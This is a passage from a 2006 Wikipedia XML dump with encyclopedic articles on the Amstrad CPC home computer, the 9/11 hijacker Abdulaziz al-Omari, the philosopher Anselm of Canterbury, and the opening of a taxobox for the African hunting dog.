The CPC has been termed an &quot;improved Z80 implementation of the (earlier) [[BBC Micro]]&quot; due to similarities in [[firmware]] and hardware. Both use the Motorola 6845 video address generator and the two have very similar sound output chips - the General Instrument AY-3-8912 in the CPC provides three tone channels each optionally with added noise and the [[Texas Instruments SN76489]] in the BBC offers three tone channels and one exclusive noise channel.

The BBC Micro uses an [[Intel]] 8271 floppy disc controller. The CPC uses the Intel 8272, which is similar to the 8271 but contains the addition of a double density ([[Modified Frequency Modulation|MFM]]) mode.

The &quot;two cursor&quot; BASIC editing system seen on the Amstrad CPC (whereby holding Shift and using the cursor keys moves a shadow text [[Cursor_(computers)|cursor]] allowing text to be copied from another area of the screen to the normal cursor) is a lift from [[BBC BASIC]], albeit substantially improved by allowing free movement of the normal cursor.

Both systems provide similar systems of full hardware abstraction through [[Operating System]] calls. This saves programs which don't require time critical hardware access from having to touch the underlying machine and provides a level of machine portability for those programs.

==Software==
===Built-in BASIC and operating system===
Like most home computers at the time, the CPC had its [[operating system|OS]] and a [[BASIC programming language|BASIC]] [[interpreter (computer software)|interpreter]] built in as [[read-only memory|ROM]]. It used [[Locomotive BASIC]] - a variant specifically written for the CPC hardware which as a result was faster, more comfortable and more powerful than the generic but common [[Microsoft BASIC]] used by the Commodore 64 and [[MSX]] amongst others. It was particularly notable for providing easy access to the machine's video and audio resources in contrast to the arcane [[PEEK and POKE|POKE]] commands required on some Microsoft implementations (the MSX implementation of Microsoft Basic being an exception, which even allowed for hardware sprite manipulation and collision detection).

===Other languages===
Although it was possible to obtain compilers for Locomotive BASIC, [[C programming language|C]] and [[Pascal]] the majority of the CPC's software was written in native Z80a assembly language.

An interpreter for the educational language [[Logo programming language|LOGO]] was also available.

===Criticism of CPC software (games)===
The quality of CPC software has been sometimes criticized due to the existence of games that were simply a ZX Spectrum port, thus not measuring up to the equivalent ZX Spectrum or C64 implementations in terms of taking full advantage of the CPC capabilities.

Because the CPC shared the Z80a processor with the ZX Spectrum and could be made to produce a similar display from the same code, many games manufacturers developed games for the two systems in parallel or ported older Spectrum games yielding products that did not take advantage of hardware scrolling or the availability of 4 and 16 colour modes.

For those actually targeting the CPC the hardware lacked support for sprites and [[scrolling]] required some careful memory arrangement and was for a long time thought impossible to do smoothly in the vertical direction. This made the creation of smooth-running and colourful games harder. Titles from the late 80s onwards tended to be coded more carefully than their mid 80s counterparts, making better use of the machine's graphics capabilities, featuring smooth scrolling and better color usage.

Although the machine received more software support than most other Z80-based systems, the overall impression left is that the commercial success of the system could have been a bit better.

Games featuring poor scrolling, quasi-monochrome Spectrum-like graphics and sluggish controls - specially in the beginning of the CPC's commercial lifespan - were marketed alongside others including smooth scrolling, colourful graphics and crisp music and sound effects which almost rivalled those of the C64, 

That said, it is important to remark that numerous software companies from that era, such as [[Ocean Software]], [[Elite]], [[Palace Software]], [[Incentive]], [[Hewson Consultants]], [[Loriciels]] or [[Dinamic Software]] among others released quality titles on a regular basis which kept CPC users more than happy with their ''Color Personal Computer''.

===Notable games, with screenshots===
[[Image:Cybernoid_2_cpc.PNG|''Cybernoid 2''|170px|thumb|left]]
[[Image:Turrican_cpc.PNG|''Turrican''|180px|thumb|left]]
[[Image:Switchblade_cpc.PNG|''Switchblade''|thumb|180px|left]]
[[Image:Crafton_cpc.PNG|''Crafton&amp;amp;Xunk''|thumb|180px|left]]
&lt;br style=&quot;clear: left&quot;/&gt;

==Magazines==
[[Computer magazine|Magazine]]s available for the system (at various times) included ''[[Amtix]]'', ''[[Computing With The Amstrad]]'', ''[[Amstrad Computer User]]'' (Amstrad official publication), ''[[Amstrad Action]]'', and ''[[CPC Attack]]''.

==The Amstrad CPC vs. its competitors==
Since the Amstrad CPC was specifically built to compete with the [[ZX Spectrum]] and [[C64]], and was a relatively late entrant into the [[1980s]] 8-bit [[home computer]] market, comparisons between those computer systems were very frequent on specialized magazines but also among players themselves. Also, the three machines were practically the most [[Computer software|software]]-wise supported 8-bit home computers in history, and had a virtually identical selection of games, although with major differences in quality, technical characteristics, and platform-dependant peculiarities. 

In general, C64 users were prone to snub both other competing machines as &quot;largely inferior&quot;, while a sort of hidden rivalry existed between ZX Spectrum and CPC users. The former considered the CPC to be just an overhyped clone of the their beloved Spectrum, while CPC users considered ZX Spectrum users as &quot;poor, jealous cousins&quot; who tainted their beloved machine with inferior game ports.

In fact, the C64 had in general better sound, graphics and scrolling than its competitors thanks to its dedicated hardware. It also had a wide selection of games designed to run from floppy disks, though C64 [[Commodore 64 peripherals|floppy drive]]s were notoriously slow. It also suffered from a poor built-in BASIC and was not ideal for users who wanted to learn to program in comparison to the other two machines.

The ZX Spectrum had the simplest hardware of all three, though this meant a lower price. As a result, it suffered from [[Attribute clash|colour clash]] and had very poor sound compared to the C64 and CPC (although later models of the ZX Spectrum used the same sound chip as the CPC). However, its many third-party peripherials and some aspects of its built-in BASIC made it more appealing for DIY enthusiasts and hobbyist programmers.

The Amstrad CPC had on paper better graphics capabilities than the ZX Spectrum, but a lot of its games were directly derived from their ZX Spectrum counterparts graphics-wise and sometimes sound-wise, which resulted in a long series of low quality titles which hurt the machine's reputation. Even when that was not the case, CPC titles rarely featured smooth scrolling or sprite handling due to programming complexities, although that was technically possible. Its sound chip was considered better than the simple beeper of early ZX Spectrum models, but not quite up to the par with the C64's [[MOS Technology SID|SID]] chip.

==Later Amstrad==
Ultimately, the company purchased [[Sinclair Research]], discontinuing the unsuccessful [[Sinclair QL]] 16-bit business machine and relaunching the 128KB Sinclair Spectrum in &quot;+2&quot; and &quot;+3&quot; variants with better keyboards and integral storage. The case and design of these recognisably drew from the CPC series.

==Hardware tricks on the CPC series==
Simple reprogramming of the Motorola 6845 CRTC could produce extended graphics modes up to 784×384 pixels through [[overscan]]. Careful timing of palette switches could theoretically allow all 27 hardware colours to be visible in any display mode but due to CPU burden, programs with unpredictable on screen motion (such as games) would typically only find time to change palette once or twice per frame.  It was also possible to change mode (hence resolution) thus allowing for example the screen to be split into a colourful playing area and a high resolution score area.  An example of a game doing this was Sorcery by Virgin Games [http://www.cpczone.net/reviews/index.php?title=699].

The CRTC could also be tricked into splitting the display along any horizontal line, allowing the video address to be arbitrarily changed at that point. This meant that it was possible to hardware scroll portions of the display while leaving others static.

The machine had an internal mechanical [[relay]] for controlling the tape recorder's motor which when switched would produce an audible click. Some software used this trick to produce &quot;realistic&quot; [[percussion instrument|percussion]] sounds, but usually such an abuse of the relay resulted in early failure.

Careful programming of the AY sound chip could cause it to produce a level wave. Adjustment of the output volume would cause related adjustments in the amplitude of the wave. Using this observation it was possible to output [[Pulse-code modulation|PCM]] digital audio at better than 5-bit quality, albeit at a very high CPU cost.

==See also==
* [[List of Amstrad CPC games]]
* [[Amstrad PCW]], CP/M wordprocessor/personal computer range
* [[CP/M]]
* [[Sinclair Research]]
* [[ZX Spectrum]]

==External links==
* [http://www.amstrad.com/ Amstrad official website]
* [http://www.cpczone.net/ CPC Zone]
* [http://andercheran.aiind.upv.es/~amstrad/ The Unofficial Amstrad WWW Resource]
* [http://www.cpc-imperium.de/ Amstrad CPC Imperium / Amsoft Headquarter]
* [http://tacgr.emuunlim.com/ The Amstrad CPC Games Resource]
* [http://www.amstrad-esp.com/ Amstrad ESP]
* [http://www.cpcgamereviews.com/ CPC Game Reviews]
* [http://computeremuzone.com/amstrad/ Amstrad Zone]
* [http://www.amstradcpc.info/ Amstrad CPC Info]

[[Category:Amstrad CPC|*Amstrad CPC]]
[[Category:Home computers]]

[[da:Amstrad]]
[[de:Amstrad CPC]]
[[fr:Amstrad CPC 464]]
[[it:Amstrad CPC]]
[[pl:Amstrad CPC]]
[[sv:Amstrad CPC]]</text>
    </revision>
  </page>
  <page>
    <title>Abdulaziz Alomari</title>
    <id>2198</id>
    <revision>
      <id>41716683</id>
      <timestamp>2006-03-01T06:44:13Z</timestamp>
      <contributor>
        <username>Sherurcij</username>
        <id>120909</id>
      </contributor>
      <minor />
      <comment>moved [[Abdulaziz al-Omari]] to [[Abdulaziz Alomari]]: As per talk page</comment>
      <text xml:space="preserve">[[Image:Abdulaziz al-Omari.png|right|frame|This photograph of Abdulaziz al-Omari was released by the [[Federal Bureau of Investigation|FBI]] in the days following the attack.]]
'''Abdulaziz al-Omari'''([[Arabic language|Arabic]]:&amp;#1593;&amp;#1576;&amp;#1583;&amp;#1575;&amp;#1604;&amp;#1593;&amp;#1586;&amp;#1610;&amp;#1586;&amp;#1575;&amp;#1604;&amp;#1593;&amp;#1605;&amp;#1585;&amp;#1610;, also [[transliteration|transliterated]] '''Abdul Aziz Alomari''') was named by the [[Federal Bureau of Investigation|FBI]] as one of the [[Organizers of the September 11, 2001 attacks|hijackers]] of the [[American Airlines flight 11|first plane]] which was crashed into the [[World Trade Center]] in the [[September 11, 2001 attacks]].

==History==
Little is known about al-Omari's life, and it is unclear whether some information refers to al-Omari or another person by that name. He has used birth dates of [[December 24]], [[1972]] and [[May 28]], [[1979]]. He came from [['Asir|Asir Province]], a poor region in southwestern [[Saudi Arabia]] that borders [[Yemen]]. According to a 2003 [[CIA]] report, he had graduated with honours from high school, attained a degree from the [[http://www.imamu.edu.sa/ Imam Muhammad Ibn Saud University]], was married, and had a daughter. 

He is said to have often served as an [[imam]] at his mosque in Saudi Arabia and is believed to have been a student of a radical Saudi cleric named [[Sulayman al Alwan]], whose mosque is located in [[Al Qasim]].[[Image:AlOmarisApplication.GIF|thumb|130px|Omari's Visa Application]]

According to [[Tawfiq bin Attash]], al-Omari was one of a group of future hijackers who provided security at Khandahar airport after their basic training at an al-Qaida camp. During the [[2000 Al Qaeda Summit]] in [[Kuala Lumpur, Malaysia]], immigration records show that a person named Abdulaziz al-Omari was visiting the country, although it is unknown whether this was the same person.

[[Image:AbdulazizonAlJazeera.jpg|thumb|left|150px|Omari in the farewell video]]In the spring of 2001, al-Omari made a farewell video that was later shown on [[al Jazeera]]. In it, he reads &quot;I am writing this with my full conscience and I am writing this in expectation of the end, which is near. . . God praise everybody who trained and helped me, namely the leader Sheik [[Osama bin Laden]].&quot;

According to [[FBI]] director [[Robert Mueller]] and the [[9/11 Commission]], al-Omari entered the United States through a [[London]] or [[Dubai]] flight on [[May 28]] with [[Hamza al-Ghamdi]] and [[Mohand al-Shehri]].

On [[June 29]], [[2001]], al-Omari travelled to the U.S. for the first time, landing in [[New York]]. He had used the controversial [[Visa Express]] program to gain entry. He apparently stayed with several other hijackers in [[Paterson, New Jersey]], before moving to his own place at 4032 57th Terrace, [[Vero Beach]] Florida.  On his rental agreement form for that house, Omari gave two license-plates authorized to park in his space, one of which was registered to Atta.[http://www.abc.net.au/4corners/atta/resources/documents/fbiaffidavit11.htm]

al-Omari occasionally trained on simulators at the [[FlightSafety Aviation School]] in [[Vero Beach, Florida]] together with [[Mohand al-Shehri]] and [[Saeed Al-Ghamdi]]

==The Attack==
[[Image:Atta atm.jpg|right|thumb|Abdulaziz al-Omari (center) and [[Mohamed Atta al Sayed]] withdrawing money from an ATM]]On [[September 10]], [[Mohamed Atta al Sayed]] picked up Omari from the [[Milner Hotel]] in [[Boston, Massachusetts]], and the two drove [[1n4dl01d81c212547|their rented Nissan]] to a [[Comfort Inn]] in [[Portland, Maine|South Portland, Maine]], where they spent the night in room 232 for unknown reasons, although it was within sight of [[Portland International Jetport]].  It was initially reported that [[Adnan Bukhari|Adnan]] and [[Ameer Bukhari]] were the two hijackers who had rented and driven the car.[http://english.peopledaily.com.cn/200109/13/eng20010913_80131.html][[Image:Atta in airport.jpg|left|thumb|Atta (blue shirt) and al-Omari in the [[Portland, Maine]] airport on the morning of 9/11]] The two spent their last night pursuing ordinary activities: making an ATM withdrawal, a shared meal at [[Pizza Hut]], and a 20-minute stop at [[Wal-Mart]].

In the early morning hours of [[September 11]], they boarded a commuter flight to Boston to connect to [[American Airlines Flight 11]], where al-Omari helped hijack the plane, and assisted [[Mohamed Atta al Sayed]] in crashing it into the World Trade Center part of an  attack that killed thousands of people.

==Aftermath== 
Controversy over al-Omari's identity erupted shortly after the attacks. At first, the FBI had named Abdul Rahman al-Omari, a pilot for Saudi Arabian Airlines, as the pilot of Flight 11. It was quickly shown that this person was still alive, and the FBI issued an apology. It was also  quickly determined that Mohamed Atta was the pilot among the hijackers. The FBI then named Abdulaziz al-Omari as a hijacker.

[[Image:Abdulaziz al-omari alive.jpg|right|frame|The other Abdulaziz al-Omari, photographed after the 9/11 attacks.]]
A man with the same name as those given by the [[FBI]] turned up alive in [[Saudi Arabia]], saying that he had studied at the [[University of Denver]] and his [[passport]] was stolen there in [[1995]]. The name, origin, birth date, and occupation were released by the FBI, but the picture was not of him. &quot;I couldn't believe it when the FBI put me on their list&quot;, he said. &quot;They gave my name and my date of birth, but I am not a suicide bomber. I am here. I am alive. I have no idea how to fly a plane. I had nothing to do with this.&quot; [http://query.nytimes.com/gst/abstract.html?res=F2071FF63D5F0C758DDDA00894D9404482][http://news.independent.co.uk/world/middle_east/story.jsp?story=94438][http://news.bbc.co.uk/1/hi/world/middle_east/1559151.stm] This individual was not the same person as the hijacker whose identity was later confirmed by Saudi government interviews with his family, according to the [[9/11 Commission]] Report.

==External links==
*[http://www.gpoaccess.gov/911/index.html The Final 9/11 Commission Report]
*[http://www.portal.telegraph.co.uk/news/main.jhtml?xml=/news/2001/09/23/widen23.xml portal.telegraph.co.uk] (Article which reports that an al-Omari was not involved with the terrorist attacks)
{{Template:911hijack}}


[[Category:2001 deaths|Omari, Abduraziz]]
[[Category:Participants in the September 11, 2001 attacks|Omari, Abdulaziz]]
[[Category:Saudi Arabian terrorists|Omari, Abduraziz]]</text>
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  <page>
    <title>Anselm of Canterbury</title>
    <id>2199</id>
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      <comment>/* Archbishop of Canterbury */ broke up long sentence</comment>
      <text xml:space="preserve">'''Saint Anselm of Canterbury''' ([[1033]] or [[1034]] &amp;ndash; [[April 21]] [[1109]]), a widely influential medieval [[philosopher]] and [[theology|theologian]], held the office of [[Archbishop of Canterbury]] from [[1093]] to [[1109]]. Called the founder of [[Scholasticism]], he is famous as the inventor of the [[ontological argument]] for the existence of [[God]].

==Biography==
===Early life===
Anselm was born in the city of [[Aosta]] in the Kingdom of [[Burgundy]]. Aosta is located in the Italian [[Alps]] region of [[Valle d'Aosta]] (Aosta Valley), near the borders with twentieth century [[France]] and [[Switzerland]]. His family was accounted noble, and owned considerable property. Gundulph, his father, was by birth a [[Lombard]], and seems to have been a man of harsh and violent temper. His mother, Ermenberga, was a prudent and virtuous woman, who gave the young Anselm careful religious training. At the age of fifteen he desired to enter a convent, but he could not obtain his father's consent.  Disappointment brought on an apparent [[psychosomatic illness]], and after he recovered he seems to have given up his studies for a time and lived a more carefree life. During this period his mother died, and his father's harshness became unbearable.  In [[1059]] he left home, crossed the Alps, and wandered through [[Burgundy]] and [[France]]. Attracted by the fame of his countryman [[Lanfranc]], then [[prior]] of the [[Benedictine]] [[Abbey of Bec]], Anselm entered [[Normandy]]. The following year, after spending some time at [[Avranches]], he entered the [[abbey]] as a [[novice]] at the age of twenty-seven.

===His years at Bec===
Three years later, in [[1063]], when Lanfranc was made the abbot of [[Caen]], Anselm was elected [[prior]]. This office he held for fifteen years, and then, in [[1078]], on the death of the warrior monk [[Herluin]], founder and first abbot of [[Abbey of Bec|Bec]], Anselm was elected abbot. Under his jurisdiction, Bec became the first seat of learning in Europe, although Anselm appears to have been less interested in attracting external students to it. It was during these quiet years at Bec that Anselm wrote his first philosophical works, the ''Monologion'' and ''Proslogion.'' These were followed by ''The Dialogues on Truth'', ''Free Will'', and the ''Fall of the Devil''. 

Meanwhile the convent had been growing in wealth and reputation, and had acquired considerable property in [[England]]. It became the duty of Anselm to visit this property occasionally.  By his mildness of temper and unswerving rectitude, he so endeared himself to the English that he was looked upon as the natural successor to [[Lanfranc]] as [[Archbishop of Canterbury]].  But on the death of that great man, [[William II of England|King William II]] seized the possessions and revenues of the see, and made no new appointment.  

About four years later, in [[1092]], on the invitation of [[Hugh d'Avranches, 1st Earl of Chester|Hugh, Earl of Chester]], Anselm crossed to England. He was detained by business for nearly four months, and when about to return, was refused permission by the king. In the following year William fell ill, and feared his death was at hand. Eager to make atonement for his sin with regard to the archbishopric, he nominated Anselm to the vacant see, and after a great struggle compelled him to accept the pastoral staff of office.  After obtaining dispensation from his duties in Normandy, Anselm was consecrated in [[1093]].

===Archbishop of Canterbury===
As the conditions of his retaining office, Anselm demanded of the king that the he should give up all the possessions of the see, accept Anselm's spiritual counsel, and acknowledge Urban as pope in opposition to the anti-pope, Clement. He only obtained a partial consent to the first of these demands, and the last involved him in a serious difficulty with the king. It was a rule of the church that the consecration of metropolitans could not be completed without their receiving the [[pallium]] from the hands of the pope. Anselm, accordingly, insisted that he must proceed to [[Rome]] to receive the pall. But William would not permit this; he had not acknowledged Urban, and he maintained his right to prevent any pope being acknowledged by an English subject without his permission.  A great council of churchmen and nobles was held to settle the matter, and it advised Anselm to submit to the king. This advice failed to overcome Anselm's mild and patient firmness, and the matter was postponed. William meanwhile privately sent messengers to Rome, who acknowledged Urban and prevailed on him to send a legate to the king bearing the archiepiscopal pall. A partial reconciliation was then effected, and the matter of the pall was compromised. It was not given by the king, but was laid on the altar at Canterbury, whence Anselm took it.   

Little more than a year after, fresh trouble arose with the king, and Anselm resolved to proceed to Rome and seek the counsel of his spiritual father. With great difficulty he obtained the king's permission to leave, and in October [[1097]] he set out for Rome. William immediately seized the revenues of the see, and retained them to his death. Anselm was received with high honor by Urban at the [[Siege of Capua]], where Anselm is said to have garnered high praise also from the [[Saracen]] troops of Count [[Roger I of Sicily]]. At a great council held at Bari, Anselm was put forward to defend the doctrine of the procession of the Holy Ghost against the representatives of the Greek Church.  But Urban was too politic to embroil himself with the king of England, and Anselm found that he could obtain no substantial result. He withdrew from Rome, and spent some time at the little village of Schiavi, where he finished his treatise on the atonement, ''Cur Deus homo'', and then retired to Lyons.  When he attempted to return to England, William would not allow him entrance.

===Conflicts with King Henry I===
William was killed in [[1100]] and his successor, [[Henry I of England|Henry I]], at once invited Anselm to return to England. But Henry demanded that Anselm should again receive from him in person investiture in his office of archbishop. The papal rule in this matter was plain: all homage and lay investiture were strictly prohibited. Anselm represented this to the king; but Henry would not relinquish a privilege possessed by his predecessors, and proposed that the matter should be laid before the Holy See. The answer of the pope reaffirmed the papal rule as to investiture. A second embassy was sent, with a similar result. Henry, however, remained firm, and at last, in [[1103]], Anselm and an envoy from the king set out for Rome. The pope, [[Pope Paschal II|Paschal II]], reaffirmed strongly the rule of investiture, and passed sentence of excommunication against all who had infringed the law, excepting King Henry. 

This left matters essentially as they were, and Anselm, who had received a message forbidding him to return to England unless on the king's terms, withdrew to Lyons, where he waited to see if Paschal would not take stronger measures.  At last, in [[1105]], he resolved himself to excommunicate Henry. His intention was made known to the king through his sister, and it seriously alarmed him, for it was a critical period in his affairs. A meeting was arranged, and a reconciliation between them effected. In [[1106]] Anselm crossed to England, with power from the pope to remove the sentence of excommunication from the illegally invested churchmen. In [[1107]] the long dispute as to investiture was finally ended by the king resigning his formal rights, and Anselm was allowed to return to England. The remaining two years of his life were spent in the duties of his archbishopric. He died on [[April 21]] [[1109]].  He was [[canonized]] in [[1494]] by [[Alexander VI]].

===&quot;Dilecto dilectori&quot;===

Many of Anselm's letters contained passionate expressions of attachment and affection, and were typically addressed ''dilecto dilectori'', sometimes translated as &quot;beloved lover&quot;. These letters were written to monks, male relatives, and others. This has led to some debate among academics about Anselm’s sexuality. There is wide agreement that Anselm was personally committed to the monastic ideal of celibacy, but some (Brian P. McGuire, [[John Boswell]], others) have characterized his passionate writings as expressions of a homosexual orientation. Others ([[Richard Southern]], Glenn Olsen, others) describe them as representing a &quot;wholly spiritual&quot; affection, &quot;nourished by an incorporeal ideal.&quot; (Southern).

==Writings==

Anselm may, with some justice, be considered the first scholarly philosopher of Christian [[theology]]. His only great predecessor, [[Scotus Erigena]], had more of the speculative and mystical element than is consistent with a schoolman. In Anselm, by contrast, one finds the special characteristics of scholastic theological thought: a recognition of the relationship of reason to revealed truth, and an attempt to elaborate a rational system of faith.  

===Foundation===
Anselm's constant endeavor was to render the contents of the Christian consciousness clear to reason, and to develop the intelligible truths interwoven with the Christian belief. The necessary preliminary for this is the possession of the Christian consciousness. As Anselm wrote: ''&quot;Neque enim quaero intelligere ut credam, sed credo ut intelligam. Nam et hoc credo, quia, nisi credidero, non intelligam.&quot;'' (&quot;Nor do I seek to understand that I may believe, but I believe that I may understand.  For this too I believe, that unless I first believe, I shall not understand.&quot;)  But after the faith is held fast, the attempt must be made to demonstrate by reason the truth of what we believe. Indeed, it is wrong not to do so: ''&quot;Negligentiae mihi esse videtur, si, postquam confirmati sumus in fide, non studemus quod credimus, intelligere.&quot;'' (&quot;I hold it to be a failure in duty if after we have become steadfast in our faith we do not strive to understand what we believe.&quot;) 

The groundwork of Anselm's theory of knowledge is contained in the tract ''De Veritate'', in which, from the consideration of truth as in knowledge, in willing, and in things, he rises to the affirmation of an absolute truth, in which all other truth participates.  This absolute truth is God himself, who is therefore the ultimate ground or principle both of things and of thought. The notion of God comes thus into the foreground of the system; before all things it is necessary that it should be made clear to reason, that it should be demonstrated to have real existence. 

===Proofs===
This demonstration is the substance of his works ''Monologion'' and ''Proslogion''.  In the first of these the proof rests on the ordinary grounds of realism, and coincides to some extent with the earlier theory of [[Augustine of Canterbury|Augustine]], though it is carried out with singular boldness and fulness. Things, he says, are called good in a variety of ways and degrees; this would be impossible if there were not some absolute standard, some good in itself, in which all relative goods participate. Similarly with such predicates as great, just; they involve a certain greatness and justice. The very existence of things is impossible without some one Being, by whom they come to exist. This absolute Being, this goodness, justice, greatness, is God. 

Anselm was not thoroughly satisfied with this reasoning; it started from ''a posteriori grounds'', and contained several converging lines of proof. He desired to have some one short demonstration. Such a demonstration he presented in his ''Proslogion''; this is his celebrated [[ontological argument|ontological proof]] of the existence of God. God is that being than whom none greater can be conceived. Now, if that than which nothing greater can be conceived existed only in the intellect, it would not be the absolutely greatest, for we could add to it existence in reality.  It follows, then, that the being than whom nothing greater can be conceived, ''i.e.'' God, necessarily has real existence. 

This reasoning, in which Anselm partially anticipated the Cartesian philosophers, has rarely seemed satisfactory. It was opposed at the time by the monk [[Gaunilo]], in his ''Liber pro Insipiente'', on the ground that we cannot pass from idea to reality. The same criticism is made by several of the later schoolmen, among others by [[Thomas Aquinas|Aquinas]], and is in substance what [[Kant]] advances against all ontological proof. Anselm replied to the objections of Gaunilo in his ''Liber Apologeticus''. 

More recently, [[Haight and haight|Haight and Haight]] offered a response to Anselm's proof for the existence of God.

Anselm also authored a number of other arguments for the existence of God, based on [[cosmology|cosmological]] and [[teleology|teleological]] grounds.

===Further works===
The existence of God being thus held proved, Anselm proceeded to state the rational grounds of the Christian doctrines of creation and of the Trinity. With reference to the Trinity, he says we cannot know God from himself, but only after the analogy of his creatures. The special analogy used is the self-consciousness of man. The peculiar double nature of consciousness, memory and intelligence, represent the relation of the Father to the Son. The mutual love of these two, proceeding from the relation they hold to one another, symbolizes the Holy Spirit. The further theological doctrines of man, such as original sin and free will, are developed in the ''Monologion'' and other mixed treatises. 

Finally, in Anselm's greatest work, ''Cur Deus Homo'' (&quot;Why did God become Man?&quot;), he undertook to make plain, even to infidels, the rational necessity of the Christian mystery of the [[atonement]]. The theory rests on three positions: that satisfaction is necessary on account of God's honor and justice; that such satisfaction can be given only by the peculiar personality of the God-man Jesus; that such satisfaction is really given by the voluntary death of this infinitely valuable person. The demonstration is, in brief, this. All the actions of men are due to the furtherance of God's glory; if, then, there be sin, ''i.e.'' if God's honour be wounded, man of himself can give no satisfaction. But the justice of God demands satisfaction; and as an insult to infinite honour is in itself infinite, the satisfaction must be infinite, ''i.e.'' it must outweigh all that is not God. Such a penalty can only be paid by God himself, and, as a penalty for man, must be paid under the form of man. Satisfaction is only possible through the God-man. Now this God-man, as sinless, is exempt from the punishment of sin; His passion is therefore voluntary, not given as due. The merit of it is therefore infinite; God's justice is thus appeased, and His mercy may extend to man.  This theory has exercised immense influence on church doctrine, providing the basis for the [[Roman Catholic]] concept of the [[treasury of merit]]. It is certainly an advance on the older patristic theory, in so far as it substitutes for a contest between God and Satan, a contest between the goodness and justice of God. However, it can be said that Anselm puts the whole issue on a merely legal footing, giving it no ethical bearing, and neglects altogether the consciousness of the individual to be redeemed. In this respect it contrasts unfavorably with the later theory of [[Peter Abélard]]. 

===Recognition===
In the middle ages, Anselm's writings did not receive the respect and attention they deserved. This was probably due to their unsystematic character, for they are generally tracts or dialogues on detached questions, not elaborate treatises like the great works of  [[Aquinas]], [[Albert of Aix]], and [[Scotus Erigena|Erigena]]. They have, however, a freshness and philosophical vigor which more than makes up for their want of system, and which raises them far above the level of most scholastic writings.

The anniversary of his death on [[21 April]] is celebrated in the [[Catholic Church]] as Anselm's memorial day.  Anselm was proclaimed as a [[Doctor of the Church]] in [[1720]] by [[Pope Clement XI]].  Eight hundred years after his death, on [[21 April]] [[1909]], [[Pope Pius X]] issued an encyclical ''Communion Rerum'' praising Anselm and his ecclestical career and his writings.

==References==
The main primary sources for the history of St. Anselm and his times are [[Eadmer]]'s ''Vita Anselmi'' and his ''Historia Novorum''.

References from 1911 Britannica:

* Eadmer's Vita Anselmi and his Historia Novorum, edited by Martin Rule in [[Rolls Series]] (London, 1884)
* [[Philibert Ragey]], ''Histoire de Saint Anselme'' (Paris, 1890), and ''Saint Anselme professeur'' (Paris, 1890)
* [[Johann Adam Möhler]], ''Anselm Erzbischof von Canterbury ''(Regensburg, 1839; Eng. trans. by Henry Rymer, London, 1842)
* [[Friedrich Rudolf Hasse]], ''Anselm von Canterbury'' (2 vols., Leipzig, 1842-1853)
* [[C. de Rémusat]], ''S. Anselme de Cantorbéry'' (Paris, 1853, new ed. 1868)
* [[R. W. Church]], ''St. Anselm'', first published in Sunday Library (London, 1870; often reprinted)
* [[Martin Rule]], ''Life and Times of St. Anselm'' (London, 1883).
* [[Dom Gerberon]] ''S. Anselmi opera omnia, necnon Eadmeri monachi Cantuar. Historia Novorum et alia opuscula'' Paris, (1675); edition of Anselms's works; reprinted with many notes in 1712; incorporated by [[J. Migne]] in his ''Patrologia Latina'', tomi clviii.-clix. (Paris. 1853-1854). Migne's reprint contains many errors.
* The ''Cur Deus homo'' in the editions published by [[D. Nutt]] (London, 1885) and by Griffith Farran Browne (1891). 
* The ''Mariale'', or poems in honour of the Blessed Virgin, has been carefully edited by Philibert Ragey (Tournai, 1885)
* The ''Monologion'' and ''Proslogion'', edited by [[C. E. Ubaghs]] (Louvain, 1854; Eng. trans. by S. N. Deane, Chicago, 1903)
* The ''Meditationes'', many of which are wrongly attributed to Anselm, have been frequently reprinted, and were included in Methuen's Library of Devotion (London, 1903).
* Among the important historical criticisms of Anselm's philosophical works are those by [[J. M. Rigg]], ''St. Anselm of Canterbury: A Chapter in the History of Religion'' (London, 1896), and ''Saint Anselme'' by [[Edmond Charles Eugène Domet de Vorges]], (Grands Philosophes series, Paris, 1901). 
*Bibliography in [[A. Vacant]]'s ''Dictionnaire de théologie''.

Current references:
* There is a recent Critical Edition of Anselms's works by [http://www.uky.edu/Libraries/record.php?lir_id=35 F. S. Schmitt (1961)]
* The ''Proslogion'' has been translated by [[M. J. Charlesworth]] with an introduction and commentary (OUP, 1965, reprinted by University of Notre Dame Press, 1979)
* {{cite book | author= [[Richard Southern|Southern, Richard W.]] | title=St. Anselm : A Portrait in a Landscape| publisher=Cambridge University Press| year=1992 | id=ISBN 0521438187}}
* {{cite book | author= [[Alban  Butler|Butler, Alban]]; edited by Burns, Paul | title=Butler's Lives of the Saints: April; New Full Edition | publisher=Liturgical Press| year=1999 | id=ISBN 0814623808}}

==External links==
*[http://plato.stanford.edu/entries/anselm/ ''Stanford Encyclopedia of Philosophy'' article on Saint Anselm]
*[http://www.newadvent.org/cathen/01546a.htm ''Catholic Encyclopedia'' article on St. Anselm]
*[http://www.cla.umn.edu/jhopkins/ Professor Jasper Hopkins' homepage] which contains English translations of nearly every major work by St. Anselm
*St. Anselm at the [http://www.ccel.org Christian Classics Ethereal Library]: http://www.ccel.org/a/anselm/
*St. Anselm at the [http://www.thelatinlibrary.com Latin Library]: http://www.thelatinlibrary.com/anselm.html
*Pope St. Pius X's [http://www.catholic-forum.com/SAINTS/stp06009.htm Encyclical] on St. Anselm, containing many quotes from St. Anselm's Letters

[[Category:Archbishops of Canterbury|Anselm of Canterbury]]
[[Category:Benedictines]]
[[Category:British philosophers|Anselm of Canterbury]]
[[Category:Catholic philosophers|Anselm of Canterbury]]
[[Category:Christian philosophers|Anselm of Canterbury]]
[[Category:Doctors of the Church|Anselm of Canterbury]]
[[Category:English theologians|Anselm of Canterbury]]
[[Category:Medieval literature|Anselm of Canterbury]]
[[Category:Medieval philosophers|Anselm of Canterbury]]
[[Category:Saints|Anselm of Canterbury]]
[[Category:Scholastic philosophers|Anselm of Canterbury]]
[[Category:Theologians|Anselm of Canterbury]]
[[Category:1033 births|Anselm of Canterbury]]
[[Category:1109 deaths|Anselm of Canterbury]]

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  </page>
  <page>
    <title>African Hunting Dog</title>
    <id>2200</id>
    <revision>
      <id>37287072</id>
      <timestamp>2006-01-30T00:51:51Z</timestamp>
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      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = African Hunting Dog
| status = {{StatusEndangered}}
| image = african_wild_dog.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Canidae]]
| genus = '''''Lycaon'''''
| genus_authority = [[Joshua Brookes|Brookes]], 1827
| species = '''''L. pictus'''''
| binomial = ''Lycaon pictus''
| binomial_authority = ([[Coenraad Jacob Temminck|Temminck]], [[1820]])
